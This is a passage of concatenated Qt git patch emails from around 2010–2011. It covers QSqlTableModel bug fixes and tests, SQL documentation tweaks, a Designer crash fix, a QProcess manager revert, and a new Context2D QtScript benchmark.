QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 2); + } void tst_QSqlTableModel::insertRecord() -- cgit v0.12 From 3bed865c35d8eb920ba5a68276fdf1690c834a64 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Wed, 3 Nov 2010 11:58:36 +1000 Subject: Make sure that setRecord emits dataChanged() with OnManualSubmit. Since the change is immediately visible through data(), this is needed so that QSortFilterProxyModel etc work correctly. Change-Id: Ied7afce2e6a1f516b502d3501f9d214df54e52f2 Task-number: QTBUG-14831 Reviewed-by: Charles Yin --- src/sql/models/qsqltablemodel.cpp | 3 +++ tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp | 9 +++++++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 6f9c284..61cd1d3 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -1338,6 +1338,9 @@ bool QSqlTableModel::setRecord(int row, const QSqlRecord &record) else mrow.rec.setValue(idx, record.value(i)); } + + if (isOk) + emit dataChanged(createIndex(row, 0), createIndex(row, columnCount() - 1)); return isOk; } } return false; diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index 1821d9c..9428ef4 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -402,9 +402,14 @@ void tst_QSqlTableModel::setRecord() rec.setValue(2, rec.value(2).toString() + 'X'); QVERIFY(model.setRecord(i, rec)); - if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) + if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) { + // setRecord should emit dataChanged() itself for manualSubmit + QCOMPARE(spy.count(), 1); + QCOMPARE(spy.at(0).count(), 2); + QCOMPARE(qvariant_cast(spy.at(0).at(0)), model.index(i, 0)); + QCOMPARE(qvariant_cast(spy.at(0).at(1)), model.index(i, rec.count() - 1)); QVERIFY(model.submitAll()); - else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1) + } else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1) model.submit(); else { // dataChanged() is not emitted when submitAll() is called -- cgit v0.12 From 741a5114c2c6bf4d89068d861db90c456cce371b Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Wed, 3 Nov 2010 15:45:43 +1000 Subject: Update some documentation about what happens with select()/setQuery(). Change-Id: I5f1afada766d40273526f2cd7537ad68d5f9d09a Task-number: QTBUG-12094 Reviewed-by: Charles Yin --- src/sql/models/qsqlquerymodel.cpp | 2 ++ src/sql/models/qsqltablemodel.cpp | 2 ++ 2 files changed, 4 insertions(+) diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index 9800e67..fbc31ff 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -310,6 +310,8 @@ void QSqlQueryModel::queryChange() lastError() can be used to retrieve verbose information if there was an error setting the query. + \note Calling setQuery() will remove any inserted columns. + \sa query(), QSqlQuery::isActive(), QSqlQuery::setForwardOnly(), lastError() */ void QSqlQueryModel::setQuery(const QSqlQuery &query) diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 61cd1d3..c6efbad 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -393,6 +393,8 @@ QString QSqlTableModel::tableName() const specified filter and sort condition, and returns true if successful; otherwise returns false. + \note Calling select() will revert any unsubmitted changes and remove any inserted columns. + \sa setTable(), setFilter(), selectStatement() */ bool QSqlTableModel::select() -- cgit v0.12 From d300e8208928084b62bbde01fb81bd66bc967bc8 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Thu, 4 Nov 2010 15:47:51 +1000 Subject: Try to document that invalid database arguments use the default database. Some places documented this, some didn't. Change-Id: Id66678dbcd9af6ec9687db745ba6f5506e951d1d Task-number: QTBUG-3240 Reviewed-by: Charles Yin --- src/sql/kernel/qsqlquery.cpp | 3 ++- src/sql/models/qsqlquerymodel.cpp | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/sql/kernel/qsqlquery.cpp b/src/sql/kernel/qsqlquery.cpp index 4b92a3e..3cdc8b1 100644 --- a/src/sql/kernel/qsqlquery.cpp +++ b/src/sql/kernel/qsqlquery.cpp @@ -272,7 +272,7 @@ static void qInit(QSqlQuery *q, const QString& query, QSqlDatabase db) /*! Constructs a QSqlQuery object using the SQL \a query and the - database \a db. If \a db is not specified, the application's + database \a db. If \a db is not specified, or is invalid, the application's default database is used. If \a query is not an empty string, it will be executed. @@ -286,6 +286,7 @@ QSqlQuery::QSqlQuery(const QString& query, QSqlDatabase db) /*! Constructs a QSqlQuery object using the database \a db. + If \a db is invalid, the application's default database will be used. \sa QSqlDatabase */ diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index fbc31ff..d1051de 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -376,7 +376,8 @@ void QSqlQueryModel::setQuery(const QSqlQuery &query) /*! \overload Executes the query \a query for the given database connection \a - db. If no database is specified, the default connection is used. + db. If no database (or an invalid database) is specified, the + default connection is used. lastError() can be used to retrieve verbose information if there was an error setting the query. -- cgit v0.12 From 594e46bdd36d2964c20cbc5a8de32abd5e343f43 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Thu, 4 Nov 2010 16:34:02 +1000 Subject: Mention the requirement for OCI when building the SQL oracle driver. As suggested by Jean-Louis Mounier. Change-Id: I2284d00453ddcb981fe3e1b710d4453323fe1e9e Task-number: QTBUG-8875 Reviewed-by: Charles Yin --- doc/src/sql-programming/sql-driver.qdoc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc index 1476491..a4bcb97 100644 --- a/doc/src/sql-programming/sql-driver.qdoc +++ b/doc/src/sql-programming/sql-driver.qdoc @@ -314,7 +314,9 @@ \section3 How to Build the OCI Plugin on Windows Choosing the option "Programmer" in the Oracle Client Installer from - the Oracle Client Installation CD is sufficient to build the plugin. + the Oracle Client Installation CD is generally sufficient to build the + plugin. For some versions of Oracle Client, you may also need to select + the "Call Interface (OCI)" option if it is available. Build the plugin as follows (here it is assumed that Oracle Client is installed in \c{C:\oracle}): -- cgit v0.12 From bdd4a9149789f60974603e1f7621d51378f0a108 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Wed, 17 Nov 2010 17:30:40 +1000 Subject: Fix some removeRows issues with QSqlTableModel. Added some better unit testing around the problem areas. Change-Id: Ie4749da298aebbae6aec9558ebe8c8f2196c705f Task-number: QTBUG-14916 Reviewed-by: Charles Yin --- src/sql/models/qsqltablemodel.cpp | 7 +- tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp | 175 ++++++++++++++++++++--- 2 files changed, 158 insertions(+), 24 deletions(-) diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index c6efbad..4df1d63 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -1103,9 +1103,12 @@ bool QSqlTableModel::removeRows(int row, int count, const QModelIndex &parent) int idx = row + i; if (idx >= rowCount()) return false; - if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) + if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) { revertRow(idx); - else { + // Reverting a row means all the other cache entries have been adjusted downwards + // so fake this by adjusting row + --row; + } else { d->cache[idx].op = QSqlTableModelPrivate::Delete; d->cache[idx].primaryValues = d->primaryValues(indexInQuery(createIndex(idx, 0)).row()); emit headerDataChanged(Qt::Vertical, idx, idx); diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index 9428ef4..f7d2180 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -94,8 +94,10 @@ private slots: void removeRow(); void removeRows_data() { generic_data(); } void removeRows(); - void removeInsertedRow_data() { generic_data(); } + void removeInsertedRow_data() { generic_data_with_strategies(); } void removeInsertedRow(); + void removeInsertedRows_data() { generic_data(); } + void removeInsertedRows(); void setFilter_data() { generic_data(); } void setFilter(); void setInvalidFilter_data() { generic_data(); } @@ -695,10 +697,19 @@ void tst_QSqlTableModel::removeRows() QCOMPARE(model.rowCount(), 3); QSignalSpy beforeDeleteSpy(&model, SIGNAL(beforeDelete(int))); + + // Make sure wrong stuff is ok + QVERIFY(!model.removeRows(-1,1)); // negative start + QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count + QVERIFY(!model.removeRows(1, 0)); // zero count + QVERIFY(!model.removeRows(5, 1)); // past end (causes a beforeDelete to be emitted) + QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex + QVERIFY_SQL(model, removeRows(0, 2)); - QVERIFY(beforeDeleteSpy.count() == 2); - QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 0); - QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 1); + QCOMPARE(beforeDeleteSpy.count(), 3); + QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 5); + QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 0); + QVERIFY(beforeDeleteSpy.at(2).at(0).toInt() == 1); QCOMPARE(model.rowCount(), 1); QCOMPARE(model.data(model.index(0, 1)).toString(), QString("vohi")); model.clear(); @@ -712,6 +723,13 @@ void tst_QSqlTableModel::removeRows() // When the edit strategy is OnManualSubmit the beforeDelete() signal // isn't emitted until submitAll() is called. + + QVERIFY(!model.removeRows(-1,1)); // negative start + QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count + QVERIFY(!model.removeRows(1, 0)); // zero count + QVERIFY(!model.removeRows(5, 1)); // past end (DOESN'T cause a beforeDelete to be emitted) + QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex + qRegisterMetaType("Qt::Orientation"); QSignalSpy headerDataChangedSpy(&model, SIGNAL(headerDataChanged(Qt::Orientation, int, int))); QVERIFY(model.removeRows(0, 2, QModelIndex())); @@ -733,33 +751,146 @@ void tst_QSqlTableModel::removeRows() void tst_QSqlTableModel::removeInsertedRow() { QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; QSqlDatabase db = QSqlDatabase::database(dbName); CHECK_DATABASE(db); - for (int i = 0; i <= 1; ++i) { + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); - QSqlTableModel model(0, db); - model.setTable(test); - model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(submitpolicy); + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); - model.setEditStrategy(i == 0 - ? QSqlTableModel::OnRowChange : QSqlTableModel::OnManualSubmit); - QVERIFY_SQL(model, select()); - QCOMPARE(model.rowCount(), 3); + QVERIFY(model.insertRow(1)); + QCOMPARE(model.rowCount(), 4); - QVERIFY(model.insertRow(1)); - QCOMPARE(model.rowCount(), 4); + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 3); - QVERIFY(model.removeRow(1)); - QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); +} - QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); - QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); - QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); - model.clear(); +void tst_QSqlTableModel::removeInsertedRows() +{ + QFETCH(QString, dbName); + QSqlDatabase db = QSqlDatabase::database(dbName); + CHECK_DATABASE(db); - recreateTestTables(); - } + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // First put two empty rows, and remove them one by one + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 4); + + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + + // Now put two empty rows, and remove them all at once + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 2)); + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + + + // Now put two empty rows, and remove one good and two empty + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(0, 3)); + QVERIFY(model.submitAll()); // otherwise the remove of the real row doesn't work + + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); + + // Reset back again + model.clear(); + recreateTestTables(); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // Now two empty and one good + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 3)); + QVERIFY(model.submitAll()); + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); + + // Reset back again + model.clear(); + recreateTestTables(); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // one empty, one good, one empty + QVERIFY(model.insertRows(1, 1)); + QVERIFY(model.insertRows(3, 1)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 3)); + QVERIFY(model.submitAll()); + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); } void tst_QSqlTableModel::emptyTable() -- cgit v0.12 From 47a134b9a9136dc961dc5dd07e345aeb94b2d401 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Thu, 3 Feb 2011 12:33:27 +1000 Subject: Namespace compilation - OCI typedefs should be outside Qt namespace. psql, sqlite2 drivers already do this correctly. Change-Id: I1f02401432d5c39fa1572e2f6255941b8a67e591 Task-number: QTBUG-17076 Reviewed-by: Charles Yin --- src/sql/drivers/oci/qsql_oci.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/sql/drivers/oci/qsql_oci.h b/src/sql/drivers/oci/qsql_oci.h index 51fd14c..22bd78d 100644 --- a/src/sql/drivers/oci/qsql_oci.h +++ b/src/sql/drivers/oci/qsql_oci.h @@ -54,6 +54,9 @@ QT_BEGIN_HEADER +typedef struct OCIEnv OCIEnv; +typedef struct OCISvcCtx OCISvcCtx; + QT_BEGIN_NAMESPACE class QOCIDriver; @@ -61,9 +64,6 @@ class QOCICols; struct QOCIDriverPrivate; struct QOCIResultPrivate; -typedef struct OCIEnv OCIEnv; -typedef struct OCISvcCtx OCISvcCtx; - class Q_EXPORT_SQLDRIVER_OCI QOCIResult : public QSqlCachedResult { friend class QOCIDriver; -- cgit v0.12 From 7ced970542d1532fb9613897bc99828178aac5fe Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Fri, 4 Feb 2011 16:57:16 +1000 Subject: Initialize primitives when creating a new QVariant Change-Id: Ib9a089a9d912acac4d40c3a1e36e08e86d7832aa Task-number: QTBUG-16683 Reviewed-by: Olivier Goffart --- src/corelib/kernel/qmetatype.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/kernel/qmetatype.h b/src/corelib/kernel/qmetatype.h index 26249ab..8eeee30 100644 --- a/src/corelib/kernel/qmetatype.h +++ b/src/corelib/kernel/qmetatype.h @@ -138,7 +138,7 @@ template void *qMetaTypeConstructHelper(const T *t) { if (!t) - return new T; + return new T(); return new T(*static_cast(t)); } -- cgit v0.12 From dd7873cd7e02e42b384709f33a34f69bc06fb25d Mon Sep 17 00:00:00 2001 From: Friedemann Kleint Date: Fri, 4 Feb 2011 09:28:58 +0100 Subject: Designer: Fix a crash in the Signal-Slot-Editor. Object search found deleted widgets by name when searching on the form window. Search main container instead, do not assert. Reviewed-by: Jarek Kobus Task-number: QTBUG-17179 --- .../signalsloteditor/signalslot_utils.cpp | 22 ++++++++++------------ .../signalsloteditor/signalsloteditorwindow.cpp | 2 +- 2 files changed, 11 insertions(+), 13 deletions(-) diff --git a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp index aecd1e5..d0af770 100644 --- a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp +++ b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp @@ -72,7 +72,6 @@ static void memberList(QDesignerFormEditorInterface *core, { if (!object) return; - // 1) member sheet const QDesignerMemberSheetExtension *members = qt_extension(core->extensionManager(), object); Q_ASSERT(members != 0); @@ -118,15 +117,15 @@ static void memberList(QDesignerFormEditorInterface *core, if (!metaDataBase) return; - const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object); - Q_ASSERT(mdbItem); - const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals(); - if (!mdbFakeMethods.empty()) - foreach (const QString &fakeMethod, mdbFakeMethods) - if (predicate(fakeMethod)) { - *it = ClassNameSignaturePair(className, fakeMethod); - ++it; - } + if (const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object)) { + const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals(); + if (!mdbFakeMethods.empty()) + foreach (const QString &fakeMethod, mdbFakeMethods) + if (predicate(fakeMethod)) { + *it = ClassNameSignaturePair(className, fakeMethod); + ++it; + } + } } namespace { @@ -245,10 +244,9 @@ namespace qdesigner_internal { ClassesMemberFunctions reverseClassesMemberFunctions(const QString &obj_name, MemberType member_type, const QString &peer, QDesignerFormWindowInterface *form) { - QObject *object = qFindChild(form, obj_name); + QObject *object = qFindChild(form->mainContainer(), obj_name); if (!object) return ClassesMemberFunctions(); - QDesignerFormEditorInterface *core = form->core(); ClassesMemberFunctions rc; diff --git a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp index ecee08e..831649f 100644 --- a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp +++ b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp @@ -658,7 +658,7 @@ QWidget *ConnectionDelegate::createEditor(QWidget *parent, const qdesigner_internal::ClassesMemberFunctions class_list = qdesigner_internal::reverseClassesMemberFunctions(obj_name, type, peer, m_form); - QObject *object = qFindChild(m_form, obj_name); + QObject *object = qFindChild(m_form->mainContainer(), obj_name); inline_editor->addText(type == qdesigner_internal::SignalMember ? tr("") : tr("")); foreach (const qdesigner_internal::ClassMemberFunctions &class_info, class_list) { -- cgit v0.12 From d9c06bf25210b3d0b31ee6126e57bcb82c292da1 Mon Sep 17 00:00:00 2001 From: Harald Fernengel Date: Fri, 4 Feb 2011 10:46:01 +0100 Subject: Revert "Delay creation of the process manager" This reverts commit daba2c507ad42c66dafa6a29cffa94e9641e0c58. There's a potential deadlock when a QProcess is created while a QCoreApplication is instantiated but never executed, or if the main thread waits() for the child thread. --- src/corelib/io/qprocess_unix.cpp | 30 ++++-------------------------- src/corelib/kernel/qcoreapplication.cpp | 18 ++++++------------ src/corelib/kernel/qcoreapplication.h | 1 - src/corelib/kernel/qcoreapplication_p.h | 2 -- 4 files changed, 10 insertions(+), 41 deletions(-) diff --git a/src/corelib/io/qprocess_unix.cpp b/src/corelib/io/qprocess_unix.cpp index b120f7f..f9f5362 100644 --- a/src/corelib/io/qprocess_unix.cpp +++ b/src/corelib/io/qprocess_unix.cpp @@ -169,27 +169,17 @@ private: Q_GLOBAL_STATIC(QMutex, processManagerGlobalMutex) -static QProcessManager *processManagerInstance = 0; - -static QProcessManager *processManager() -{ +static QProcessManager *processManager() { // The constructor of QProcessManager should be called only once // so we cannot use Q_GLOBAL_STATIC directly for QProcessManager QMutex *mutex = processManagerGlobalMutex(); QMutexLocker locker(mutex); - - if (!processManagerInstance) - QProcessPrivate::initializeProcessManager(); - - Q_ASSERT(processManagerInstance); - return processManagerInstance; + static QProcessManager processManager; + return &processManager; } QProcessManager::QProcessManager() { - // can only be called from main thread - Q_ASSERT(!qApp || qApp->thread() == QThread::currentThread()); - #if defined (QPROCESS_DEBUG) qDebug() << "QProcessManager::QProcessManager()"; #endif @@ -208,8 +198,6 @@ QProcessManager::QProcessManager() ::sigaction(SIGCHLD, &action, &oldAction); if (oldAction.sa_handler != qt_sa_sigchld_handler) qt_sa_old_sigchld_handler = oldAction.sa_handler; - - processManagerInstance = this; } QProcessManager::~QProcessManager() @@ -238,8 +226,6 @@ QProcessManager::~QProcessManager() if (oldAction.sa_handler != qt_sa_sigchld_handler) { ::sigaction(SIGCHLD, &oldAction, 0); } - - processManagerInstance = 0; } void QProcessManager::run() @@ -1306,15 +1292,7 @@ bool QProcessPrivate::startDetached(const QString &program, const QStringList &a void QProcessPrivate::initializeProcessManager() { - if (qApp && qApp->thread() != QThread::currentThread()) { - // The process manager must be initialized in the main thread - // Note: The call below will re-enter this function, but in the right thread, - // so the else statement below will be executed. - QMetaObject::invokeMethod(qApp, "_q_initializeProcessManager", Qt::BlockingQueuedConnection); - } else { - static QProcessManager processManager; - Q_UNUSED(processManager); - } + (void) processManager(); } QT_END_NAMESPACE diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp index 9bd32d1..26a398e 100644 --- a/src/corelib/kernel/qcoreapplication.cpp +++ b/src/corelib/kernel/qcoreapplication.cpp @@ -392,16 +392,6 @@ void QCoreApplicationPrivate::createEventDispatcher() #endif } -void QCoreApplicationPrivate::_q_initializeProcessManager() -{ -#ifndef QT_NO_PROCESS -# ifdef Q_OS_UNIX - QProcessPrivate::initializeProcessManager(); -# endif -#endif -} - - QThread *QCoreApplicationPrivate::theMainThread = 0; QThread *QCoreApplicationPrivate::mainThread() { @@ -666,6 +656,12 @@ void QCoreApplication::init() } #endif +#if defined(Q_OS_UNIX) && !(defined(QT_NO_PROCESS)) + // Make sure the process manager thread object is created in the main + // thread. + QProcessPrivate::initializeProcessManager(); +#endif + #ifdef QT_EVAL extern void qt_core_eval_init(uint); qt_core_eval_init(d->application_type); @@ -2732,5 +2728,3 @@ int QCoreApplication::loopLevel() */ QT_END_NAMESPACE - -#include "moc_qcoreapplication.cpp" diff --git a/src/corelib/kernel/qcoreapplication.h b/src/corelib/kernel/qcoreapplication.h index 024c509..3957158 100644 --- a/src/corelib/kernel/qcoreapplication.h +++ b/src/corelib/kernel/qcoreapplication.h @@ -205,7 +205,6 @@ protected: QCoreApplication(QCoreApplicationPrivate &p); private: - Q_PRIVATE_SLOT(d_func(), void _q_initializeProcessManager()) static bool sendSpontaneousEvent(QObject *receiver, QEvent *event); bool notifyInternal(QObject *receiver, QEvent *event); diff --git a/src/corelib/kernel/qcoreapplication_p.h b/src/corelib/kernel/qcoreapplication_p.h index fdceab4..add2a35 100644 --- a/src/corelib/kernel/qcoreapplication_p.h +++ b/src/corelib/kernel/qcoreapplication_p.h @@ -85,8 +85,6 @@ public: bool sendThroughObjectEventFilters(QObject *, QEvent *); bool notify_helper(QObject *, QEvent *); - void _q_initializeProcessManager(); - virtual QString appName() const; virtual void createEventDispatcher(); static void removePostedEvent(QEvent *); -- cgit v0.12 From 6163c36249eea0a2a578b9990470fcaa2f7bcf5f Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 3 Feb 2011 15:48:02 +0100 Subject: Add Context2D QtScript benchmark Reuse the Context2D implementation from examples/script/context2d and create a benchmark out of it. This benchmark actually measures a meaningful, real-world use case. Task-number: QTBUG-17192 Reviewed-by: Jedrzej Nowacki --- examples/script/context2d/environment.cpp | 17 ++ examples/script/context2d/environment.h | 2 + tests/benchmarks/script/context2d/context2d.pro | 22 +++ .../benchmarks/script/context2d/tst_context2d.cpp | 177 +++++++++++++++++++++ tests/benchmarks/script/script.pro | 3 +- 5 files changed, 220 insertions(+), 1 deletion(-) create mode 100644 tests/benchmarks/script/context2d/context2d.pro create mode 100644 tests/benchmarks/script/context2d/tst_context2d.cpp diff --git a/examples/script/context2d/environment.cpp b/examples/script/context2d/environment.cpp index 7d6d6f8..e68c1ca 100644 --- a/examples/script/context2d/environment.cpp +++ b/examples/script/context2d/environment.cpp @@ -363,6 +363,23 @@ QScriptValue Environment::evaluate(const QString &code, const QString &fileName) return m_engine->evaluate(code, fileName); } +bool Environment::hasIntervalTimers() const +{ + return !m_intervalHash.isEmpty(); +} + +// This is used by the Context2D QtScript benchmark. +void Environment::triggerTimers() +{ + for (int x = 0; x < 2; ++x) { + QList timerIds = x ? m_intervalHash.keys() : m_timeoutHash.keys(); + for (int i = 0; i < timerIds.size(); ++i) { + QTimerEvent fakeEvent(timerIds.at(i)); + timerEvent(&fakeEvent); + } + } +} + //! [2] QScriptValue Environment::toWrapper(QObject *object) { diff --git a/examples/script/context2d/environment.h b/examples/script/context2d/environment.h index dd92e85..221875f 100644 --- a/examples/script/context2d/environment.h +++ b/examples/script/context2d/environment.h @@ -78,6 +78,8 @@ public: //! [0] QScriptEngine *engine() const; + bool hasIntervalTimers() const; + void triggerTimers(); //! [1] public slots: diff --git a/tests/benchmarks/script/context2d/context2d.pro b/tests/benchmarks/script/context2d/context2d.pro new file mode 100644 index 0000000..bc94c4f --- /dev/null +++ b/tests/benchmarks/script/context2d/context2d.pro @@ -0,0 +1,22 @@ +load(qttest_p4) +TEMPLATE = app +TARGET = tst_bench_context2d + +SOURCES += tst_context2d.cpp + +CONTEXT2D_EXAMPLE_DIR = $$QT_SOURCE_TREE/examples/script/context2d +INCLUDEPATH += $$CONTEXT2D_EXAMPLE_DIR + +HEADERS 